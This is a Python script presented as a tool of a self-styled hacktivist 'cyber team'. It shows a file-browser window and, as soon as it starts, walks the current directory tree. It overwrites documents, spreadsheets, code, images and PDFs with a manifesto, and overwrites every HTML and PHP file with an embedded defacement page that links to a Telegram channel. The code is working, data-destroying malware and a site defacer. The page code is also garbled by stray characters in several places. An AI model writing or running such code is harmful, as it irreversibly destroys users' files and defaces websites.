import tkinter as tk
from tkinter import ttk, messagebox
import os
import datetime

root = tk.Tk()
root.title("V For Vendetta Cyber Team")
root.geometry("800x600")
root.configure(bg='black')

header_frame = tk.Frame(root, bg='black')
header_frame.pack(fill='x', padx=10, pady=10)

title_label = tk.Label(header_frame, 
                      text="V For Vendetta Cyber Team", 
                      font=('Courier', 18, 'bold'),
                      fg='red',
                      bg='black')
title_label.pack()

subtitle_label = tk.Label(header_frame,
                         text="HACKED BY V FOR VENDETTA CYBER TEAM",
                         font=('Courier', 12),
                         fg='white',
                         bg='black')
subtitle_label.pack(pady=(0, 10))

path_frame = tk.Frame(root, bg='black')
path_frame.pack(fill='x', padx=10, pady=5)

tk.Label(path_frame, text="Current Path:", fg='white', bg='black').pack(side='left')
path_var = tk.StringVar()
path_entry = tk.Entry(path_frame, textvariable=path_var, width=70, bg='#222', fg='white')
path_entry.pack(side='left', padx=5)

def browse_directory():
    pass

browse_btn = tk.Button(path_frame, text="Browse", command=browse_directory, bg='#333', fg='white')
browse_btn.pack(side='left', padx=5)

list_frame = tk.Frame(root, bg='black')
list_frame.pack(fill='both', expand=True, padx=10, pady=10)

columns = ('name', 'type', 'size')
file_tree = ttk.Treeview(list_frame, columns=columns, show='headings')

file_tree.heading('name', text='Name')
file_tree.heading('type', text='Type')
file_tree.heading('size', text='Size')

file_tree.column('name', width=400)
file_tree.column('type', width=150)
file_tree.column('size', width=100)

scrollbar = ttk.Scrollbar(list_frame, orient=tk.VERTICAL, command=file_tree.yview)
file_tree.configure(yscrollcommand=scrollbar.set)

file_tree.grid(row=0, column=0, sticky='nsew')
scrollbar.grid(row=0, column=1, sticky='ns')

list_frame.grid_rowconfigure(0, weight=1)
list_frame.grid_columnconfigure(0, weight=1)

def sheshhhhhh():
    for item in file_tree.get_children():
        file_tree.delete(item)
    
    current_path = os.getcwd()
    path_var.set(current_path)
    
    for item in os.listdir(current_path):
        full_path = os.path.join(current_path, item)
        if os.path.isdir(full_path):
            file_tree.insert('', 'end', values=(item, 'Folder', ''))
        else:
            size = os.path.getsize(full_path)
            file_tree.insert('', 'end', values=(item, 'File', f"{size} bytes"))

sheshhhhhh()

message_frame = tk.Frame(root, bg='black')
message_frame.pack(fill='x', padx=10, pady=5)

message_label = tk.Label(message_frame, 
                        text="Transforming files...", 
                        fg='red', 
                        bg='black',
                        font=('Courier', 12))
message_label.pack()

html_content = """<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hacked By V For Vendetta Cyber Team</title>
    <link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&family=Rajdhani:wght@400;500;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            background-color: #000;
            color: #fff;
            font-family: 'Rajdhani', sans-serif;
            background-image: 
                radial-gradient(circle at 25% 25%, rgba(120, 0, 0, 0.2) 0%, transparent 40%),
                radial-gradient(circle at 75% 75%, rgba(120, 0, 0, 0.2) 0%, transparent 40%);
            min-height: 100vh;
            overflow-x: hidden;
            display: flex;
            flex-direction: column;
        }
        
        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 20px;
            flex: 1;
        }
        
        header {
            text-align: center;
            padding: 30px 0;
            border-bottom: 1px solid #ff0033;
            margin-bottom: 40px;
        }
        
        .logo {
            max-width: 300px;
            margin: 0 auto 20px;
            border: 3px solid #ff0033;
            border-radius: 5px;
            box-shadow: 0 0 20px rgba(255, 0, 51, 0.5);
            transition: transform 0.3s ease, box-shadow 0.3s ease;
        }
        
        .logo:hover {
            transform: scale(1.03);
            box-shadow: 0 0 30px rgba(255, 0, 51, 极.8);
        }
        
        .logo img {
            display: block;
            width: 100%;
            height: auto;
        }
        
        h1 {
            font-family: 'Orbitron', sans-serif;
            font-size: 3rem;
            color: #ff0033;
            text-shadow: 0 0 10px rgba(255, 0, 51, 0.7);
            letter-spacing: 3px;
            margin-bottom: 10px;
        }
        
        .subtitle {
            font-size: 1.5rem;
            color: #ccc;
            margin-bottom: 30px;
        }
        
        .message-box {
            background: rgba(10, 10, 10, 0.8);
            border: 1px solid #ff0033;
            border-radius: 5px;
            padding: 30px;
            margin-bottom: 40px;
            box-shadow: 0 0 30px rgba(255, 0, 51, 0.3);
            position: relative;
            overflow: hidden;
        }
        
        .message-box::before {
            content: '';
            position: absolute;
            top: 0;
            left: -100%;
            width: 100%;
            height: 100%;
            background: linear-gradient(90deg, transparent, rgba(255, 0, 51, 0.1), transparent);
            transition: 0.5s;
        }
        
        .message-box:hover::before {
            left: 100%;
        }
        
        h2 {
            font-family: 'Orbitron', sans-serif;
            color: #ff0033;
            margin-bottom: 20px;
            font-size: 2rem;
        }
        
        p {
            line-height: 1.6;
            margin-bottom: 15px;
            font-size: 1.2rem;
        }
        
        .signature {
            text-align: right;
            font-style: italic;
            color: #ff0033;
            font-weight: bold;
            margin-top: 20px;
            font-size: 1.4rem;
        }
        
        .audio-section {
            text-align: center;
            margin: 40px 0;
        }
        
        .audio-player {
            width: 100%;
            max-width: 600px;
            margin: 20px auto;
            background: rgba(30, 30, 30, 0.8);
            border-radius: 10px;
            padding: 20px;
            box-shadow: 0 极 20px rgba(255, 0, 51, 0.4);
        }
        
        audio {
            width: 100%;
            margin-top: 15px;
        }
        
        .audio-title {
            color: #ff9933;
            font-size: 1.4rem;
            margin-bottom: 10px;
        }
        
        .countdown {
            text-align: center;
            font-family: 'Orbitron', sans-serif;
            font-size: 2.5rem;
            color: #ff0033;
            margin: 40px 0;
            text-shadow: 0 0 10px rgba(255, 0, 51, 0.7);
            padding: 15px;
            background: rgba(20, 20, 20, 0.6);
            border-radius: 8px;
        }
        
        .hacker-style {
            background: rgba(0, 0, 0, 0.7);
            border: 1px solid #00ff00;
            padding: 20px;
            font-family: monospace;
            color: #00ff00;
            margin: 20px 0;
            overflow: hidden;
            height: 200px;
            border-radius: 5px;
        }
        
        .matrix-rain {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -1;
            opacity: 0.2;
            pointer-events: none;
        }
        
        footer {
            text-align: center;
            margin-top: 50px;
            padding: 20px;
            border-top: 1px solid #ff0033;
            color: #777;
            font-size: 0.9rem;
            width: 100%;
        }
        
        .telegram-link {
            display: inline-block;
            margin-top: 10px;
            color: #ff0033;
            text-decoration: none;
            font-weight: bold;
            transition: color 0.3s, text-shadow 0.3s;
        }
        
        .telegram-link:hover {
            color: #fff;
            text-shadow: 0 0 10px rgba(255, 0, 51, 0.7);
        }
        
        @media (max-width: 768px) {
            h1 {
                font-size: 2rem;
            }
            
            .subtitle {
                font-size: 1.2rem;
            }
            
            .message-box {
                padding: 20px;
            }
            
            .countdown {
                font-size: 1.8rem;
            }
            
            .logo {
                max-width: 250px;
            }
        }
        
        .glitch-effect {
            position: relative;
            display: inline-block;
        }
        
        .glitch-effect::before,
        .glitch-effect::after {
            content: attr(data-text);
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
        }
        
        .glitch-effect::before {
            left: 2px;
            text-shadow: -2px 0 #00ff00;
            clip: rect(44px, 450px, 56px, 0);
            animation: glitch-anim 5s infinite linear alternate-reverse;
        }
        
        .glitch-effect::after {
            left: -2px;
            text-shadow: -2px 0 #ff0033;
            clip: rect(44px极 450px, 56px, 0);
            animation: glitch-anim2 5s infinite linear alternate-reverse;
        }
        
        @keyframes glitch-anim {
            0% { clip: rect(42px, 9999px, 44px, 0); }
            5% { clip: rect(12px, 9999px, 59px, 0); }
            10% { clip: rect(48px, 9999极, 29px, 0); }
            15% { clip: rect(42px, 9999px, 73px, 0); }
            20% { clip: rect(63px, 9999px, 27px, 0); }
            25% { clip: rect(34px, 9999px, 55px, 0); }
            30% { clip: rect(86px, 9999px, 73px, 0); }
            35% { clip: rect(20px, 9999px, 20px, 0); }
            40% { clip: rect(26px, 9999px, 60px, 0); }
            45% { clip: rect(25px, 9999px, 66px, 0); }
            50% { clip: rect(57px, 9999px, 98px, 0); }
            55% { clip: rect(5px, 9999px, 46px, 0); }
            60% { clip: rect(82px, 9999px, 31px, 0); }
            65% { clip: rect(54px, 9999px, 27px, 0); }
            70% { clip: rect(28px, 9999px, 99px, 0); }
            75% { clip: rect(45px, 9999px, 69px, 0); }
            80% { clip: rect(23px, 9999px, 85px, 0); }
            85% { clip: rect(54px, 9999px, 84px, 0); }
            90% { clip: rect(45px, 9999px, 47px, 0); }
            95% { clip: rect(24px, 9999px, 23px, 0); }
            100% { clip: rect(32px, 9999px, 92px, 0); }
        }
        
        @keyframes glitch-anim2 {
            0% { clip: rect(65px, 9999px, 100px, 0); }
            5% { clip: rect(52px, 9999px, 74px, 0); }
            10% { clip: rect(79px, 9999px, 85px, 0); }
            15% { clip: rect(75px, 9999px, 5px, 0); }
            20% { clip: rect(67px, 9999px, 61px, 0); }
            25% { clip: rect(14px, 9999px, 79px, 0); }
            30% { clip: rect(1px, 9999px, 66px, 0); }
            35% { clip: rect(86px, 9999px极 30px, 0); }
            40% { clip: rect(23px, 9999px, 98px, 0); }
            45% { clip: rect(85px, 9999px, 72px, 0); }
            50% { clip: rect(71px, 9999px, 75px, 0); }
            55% { clip: rect(2px, 9999px, 48px, 0); }
            60% { clip: rect(80px, 9999px, 87px, 0); }
            65% { clip: rect(64px, 9999px, 14px, 0); }
            70% { clip: rect(32px, 9999px, 41px, 0); }
            75% { clip: rect(47px, 9999px, 16px, 0); }
            80% { clip: rect(28px, 9999px, 67px, 0); }
            85% { clip: rect(73px, 9999px, 35px, 0); }
            90% { clip: rect(38px, 9999px, 47px, 0); }
            95% { clip: rect(26px, 9999px, 75px, 0); }
            100% { clip: rect(57px, 9999px, 100px, 0); }
        }
        
        .pulse {
            animation: pulse 2s infinite;
        }
        
        @keyframes pulse {
            0% { opacity: 0.7; }
            50% { opacity: 1; }
            100% { opacity: 0.7; }
        }
    </style>
</head>
<body>
    <div class="matrix-rain" id="matrixRain"></div>
    
    <div class="container">
        <header>
            <div class="logo">
                <img src="https://raw.githubusercontent.com/FINIXHAWK671/Music/refs/heads/main/IMG_20250916_151915_484.jpg" alt="V For Vendetta Cyber Team Logo">
            </div>
            <h1 class="glitch-effect" data-text="V FOR VENDETTA CYBER TEAM">V FOR VENDETTA CYBER TEAM</h1>
            <div class="subtitle">Remember, remember the fifth of November</div>
        </header>
        
        <div class="countdown">
            <div id="countdown-timer">00:00:00:00</div>
        </div>
        
        <div class极="message-box">
            <h2>PUBLIC MESSAGE</h2>
<p>Citizens of the digital world,</p>
<p>We are the V For Vendetta Cyber Team. We exist for those whose voices are silenced, for the truths ignored, and for the corruption that grows where oversight fails. Others may not hear the silence, but we do — and in that silence lies everything.</p>
<p>Corruption and political fallacies shape societies; injustice thrives in the gaps, and protests go unnoticed. Where the system turns a blind eye, we act. What is visible is only a fragment of our reach. Critical networks, databases, and infrastructure are assessed continuously, cataloged, and monitored with precision.</p>
<p>We operate under the guise of hacktivism, but our methods reflect discipline, strategic coordination, and persistent presence. Information is power, and by controlling the flow of what is seen, we guide awareness, disrupt complacency, and signal accountability.</p>
<p>Our work is deliberate. Every exposure, every leak, is a message: no system is beyond scrutiny, no authority untouchable, and no injustice unobserved. While our motives appear local, our reach may extend beyond borders, guided by allies and organizations who recognize the necessity of intervention.</p>
<p>We are the voice of the voiceless. We are the watchers of the silence. We are the V For Vendetta Cyber Team.</p>

            <p class="signature">- V</p>
        </div>
        
        <div class="audio-section">
            <h2>LISTEN TO OUR MUSIC</h2>
            <div class="audio-player">
                <div class="audio-title">Txcos Txcos X S Ch3m - Zugspitze (Official Music Video)</div>
                <audio controls>
                    <source src="https://github.com/FINIXHAWK671/Music/raw/main/txcos-txcos-x-s-ch3m-zugspitze-official-music-video.m4a" type="audio/mp4">
                    Your browser does not support the audio element.
                </audio>
            </div>
        </div>
        
        <div class="hacker-style">
            <div>> Initializing system breach...</div>
            <div>> Bypassing security protocols...</div>
            <div>> Firewall disabled...</div>
            <div>> Access granted to mainframe...</div>
            <div>> Downloading confidential data...</div>
            <div>> Encryption in progress...</div>
            <div>> Covering tracks...</div>
            <div>> Operation completed successfully.</div>
        </div>
    </div>
    
    <footer>
        <p>V For Vendetta Cyber Team</p>
        <a href="https://t.me/VFCTeam" class="telegram-link" target="_blank">
            <i class="fab fa-telegram-plane"></i> Join our Telegram: https://t.me/VFCTeam
        </a>
    </footer>

    <script>
        const matrix = document.getElementById('matrixRain');
        const canvas = document.createElement('canvas');
        matrix.appendChild(canvas);
        const ctx = canvas.getContext('2d');
        
        function resizeCanvas() {
            canvas.width = matrix.offsetWidth;
            canvas.height = matrix.offsetHeight;
        }
        
        resizeCanvas();
        
        const characters = '01';
        const fontSize = 14;
        let columns = canvas.width / fontSize;
        
        let drops = [];
        for (let i = 0; i < columns; i++) {
            drops[i] = Math.random() * 100;
        }
        
        function drawMatrix() {
            ctx.fillStyle = 'rgba(0, 0, 0, 0.04)';
            ctx.fillRect(0, 0, canvas.width, canvas.height);
            
            ctx.fillStyle = '#0f0';
            ctx.font = `${fontSize}px monospace`;
            
            for (let i = 0; i < drops.length; i++) {
                const text = characters.charAt(Math.floor(Math.random() * characters.length));
                ctx.fillText(text, i * fontSize, drops[i] * fontSize);
                
                if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
                    drops[i] = 0;
                }
                
                drops[i]++;
            }
        }
        
        setInterval(drawMatrix, 33);
        
        window.addEventListener('resize', () => {
            resizeCanvas();
            columns = canvas.width / fontSize;
            drops = [];
            for (let i = 0; i < columns; i++) {
                drops[i极] = Math.random() * 100;
            }
        });
        function updateCountdown() {
            const now = new Date();
            let fifthOfNovember = new Date(now.getFullYear(), 10, 5);
            
            if (now.getMonth() > 10 || (now.getMonth() === 10 && now.getDate() > 5)) {
                fifthOfNovember.setFullYear(fifthOfNovember.getFullYear() + 1);
            }
            
            const diff = fifthOfNovember - now;
            
            const days = Math.floor(diff / (1000 * 60 * 60 * 24));
            const hours = Math.floor((diff % (1000 * 60极 60 * 24)) / (1000 * 60 * 60));
            const minutes = Math.floor((极diff % (1000 * 60 * 60)) / (1000 * 60));
            const seconds = Math.floor((diff % (1000 * 60)) / 1000);
            
            document.getElementById('countdown-timer').textContent = 
                `${days.toString().padStart(2, '0')}:${hours.toString().padStart(2, '0')}:${minutes.toString().padStart(2, '0')}:${seconds.toString().padStart(2, '0')}`;
                
            if (days === 0) {
                document.getElementById('countdown-timer').classList.add('pulse');
            } else {
                document.getElementById('countdown-timer').classList.remove('pulse');
            }
        }
        
        setInterval(updateCountdown, 1000);
        updateCountdown();
        
        const hackerText = document.querySelector('.hacker-style');
        const lines = [
            "> Initializing system breach...",
            "> Bypassing security protocols...",
            "> Firewall disabled...",
            "> Access granted to mainframe...",
            "> Downloading confidential data...",
            "> Encryption in progress...",
            "> Covering tracks...",
            "> Operation completed successfully."
        ];
        
        hackerText.innerHTML = '';
        
        let lineIndex = 0;
        let charIndex = 0;
        let currentLine = '';
        
        function typeLine() {
            if (lineIndex < lines.length) {
                if (charIndex < lines[lineIndex].length) {
                    currentLine += lines[lineIndex].charAt(charIndex);
                    hackerText.innerHTML = currentLine + '<span style="color: lime;">_</span>';
                    charIndex++;
                    setTimeout(typeLine, Math.floor(Math.random() * 50) + 25);
                } else {
                    hackerText.innerHTML = currentLine;
                    currentLine += '<br>';
                    lineIndex++;
                    charIndex = 0;
                    setTimeout(typeLine, 500);
                }
            } else {
                hackerText.innerHTML = lines.join('<br>');
            }
        }
        
        setTimeout(type极, 1000);
        
        document.addEventListener('keydown', (e) => {
            if (e.key === 'v' || e.key === 'V') {
                document.body.style.backgroundImage = 
                    "radial-gradient(circle at 25% 25%, rgba(255, 0, 51, 0.3) 0%, transparent 40%), " +
                    "radial-gradient(circle at 75% 75%, rgba(255, 0, 51, 0.3) 0%, transparent 40%)";
                
                setTimeout(() => {
                    document.body.style.backgroundImage = 
                        "radial-gradient(circle at 25% 25%, rgba(120, 0, 0, 0.2) 0%, transparent 40%), " +
                        "radial-gradient(circle at 75% 75%, rgba(120, 0, 0, 0.2) 0%, transparent 40%)";
                }, 300);
            }
        });
    </script>
</body>
</html>"""

def wlllllllllll():
    target_extensions = [
        '.txt', '.py', '.csv', '.xlsx',
        '.sql', '.pdf', '.doc', '.docx',
        '.jpg', '.png'
    ]

    signature = """\
<div class="signature">
  <p>Citizens of the digital world. We are the V For Vendetta Cyber Team. We exist for those whose voices are silenced, for the truths ignored, and for the corruption that grows where oversight fails. Others may not hear the silence, but we do — and in that silence lies everything.</p>

  <p>Corruption and political fallacies shape societies; injustice thrives in the gaps, and protests go unnoticed. Where the system turns a blind eye, we act. What is visible is only a fragment of our reach. Critical networks, databases, and infrastructure are assessed continuously, cataloged, and monitored with precision.</p>

  <p>We operate under the guise of hacktivism, but our methods reflect discipline, strategic coordination, and persistent presence. Information is power, and by controlling the flow of what is seen, we guide awareness, disrupt complacency, and signal accountability.</p>

  <p>Our work is deliberate. Every exposure, every leak, is a message: no system is beyond scrutiny, no authority untouchable, and no injustice unobserved. While our motives appear local, our reach may extend beyond borders, guided by allies and organizations who recognize the necessity of intervention.</p>

  <p>We are the voice of the voiceless. We are the watchers of the silence. We are the V For Vendetta Cyber Team.</p>
</div>
"""

    for root_dir, dirs, files in os.walk(os.getcwd()):
        for file in files:
            file_path = os.path.join(root_dir, file)
            if any(file.endswith(ext) for ext in target_extensions):
                try:
                    with open(file_path, 'w') as f:
                        f.write(signature)
                except:
                    pass
            elif file.endswith('.html') or file.endswith('.php'):
                try:
                    with open(file_path, 'w') as f:
                        f.write(html_content)
                except:
                    pass
    
    message_label.config(text="Files transformed successfully!")
    messagebox.showinfo("Transformation Complete", "All files have been transformed with the V For Vendetta signature!")

wlllllllllll()

root.mainloop()